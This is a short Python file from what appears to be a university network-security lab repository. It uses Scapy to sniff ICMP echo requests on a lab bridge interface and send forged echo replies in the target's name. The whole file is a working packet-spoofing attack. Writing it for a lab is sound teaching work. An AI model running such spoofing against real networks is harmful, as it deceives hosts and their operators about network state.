Files
nudtns2026spring/Sniffing_Spoofing/Labsetup/volumes/sniff_and_spoof.py
2026-04-07 20:49:20 +08:00

23 lines
821 B
Python

#!/usr/bin/env python3
from scapy.all import *
def spoof_reply(pkt):
# Only respond to ICMP Echo Requests
if ICMP in pkt and pkt[ICMP].type == 8:
print(f"Intercepted ICMP Echo Request from {pkt[IP].src} to {pkt[IP].dst}")
# Build spoofed ICMP Echo Reply
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
# Add payload if present
payload = pkt[Raw].load if Raw in pkt else b""
new_pkt = ip/icmp/payload
print(f"Sending spoofed reply from {pkt[IP].dst} to {pkt[IP].src}...")
send(new_pkt, verbose=0)
print("Sniff-and-Spoof active on br-c031fbf1a197...")
# Filter: icmp echo-request
sniff(iface='br-c031fbf1a197', filter='icmp and icmp[icmptype]=8', prn=spoof_reply)